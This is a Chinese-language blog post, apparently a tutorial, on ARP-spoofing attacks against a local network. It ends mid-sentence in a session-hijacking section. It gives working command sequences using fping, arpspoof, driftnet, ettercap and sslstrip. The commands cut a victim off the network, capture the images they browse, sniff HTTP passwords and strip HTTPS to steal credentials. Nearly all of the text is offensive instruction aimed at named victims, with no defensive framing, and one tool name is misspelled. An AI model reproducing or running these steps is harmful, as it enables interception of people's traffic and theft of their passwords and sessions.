\ue50a发表于　\ue50b\ue50a2019-10-16　\ue50b\ue50a　|　\ue50b\ue50a分类于　\ue50b\ue50a前端　\ue50b\ue50a　|　\ue50b\ue50a没有评论　\ue50b作者:wlfsky格言:每一个不曾起舞的日子　都是对生命的辜负　---尼采　ARP欺骗　原理:　在局域网中,攻击者经过收到ARP　Request广播包,能够偷听到其它节点的　(IP,　MAC)　地址,　攻击者就伪装为A,告诉B　(受害者)　一个假地址,使得B在发送给A　的数据包都被攻击者截取,而B　浑然不知。　类似的就是受害者的流量经过攻击者的网卡然后转发出去。　断网攻击　原理:　利用arp欺骗的一部分思想,受害者的流量经过攻击者的网卡但是没有转发出去。　步骤:　1、查看局域网内的存活主机:　fping　-asg　192.168.1.0/24　2、找到目标主机后,查看局域网的网关和使用的网卡(eth0):　ifconfig　3、利用Kali　Linux系统上一款arp欺骗工具　arpspoof　来达到攻击目的:　arpspoof　-i　网卡　-t　目标ip　网关　获取目标图片浏览记录　步骤:　1、首先进行流量转发:　echo　1　>　/proc/sys/net/ipv4/ip_forward　2、其次按照　断网攻击　的步骤执行。　3、利用　driftnet　获取受害者的图片浏览记录:　ariftent　-i　网卡　获取受害者HTTP账号密码　步骤:　1、按照　断网攻击　的步骤执行。　2、利用　ettercap　获取受害者的账号密码:　ettercap　-Tq　-i　网卡　注:ettercap　软件自身已具备数据包的转发能力,请勿再次输入:　echo　1　>　/proc/sys/net/ipv4/ip_forward　,以免同一数据包被转发两次　获取受害者HTTPS账号密码　步骤:　1、首先使用　sslstrip　将https　链接还原为　http:　sslstrip　-a　-f　-k　2、按照　断网攻击　的步骤执行。这里可能需要修改文件:　vim　/etc/ettercap/etter.conf　将linux　部分的两个　#　号去掉即可。　3、利用　ettercap　获取受害者的账号密码:　ettercap　-Tq　-i　网卡　会话劫持　方法一　步骤:　1、按照　断网攻击　的步骤执行。转发流量。　2、利用　wireshark　进行抓包生成　pcap　文件并保存(cookie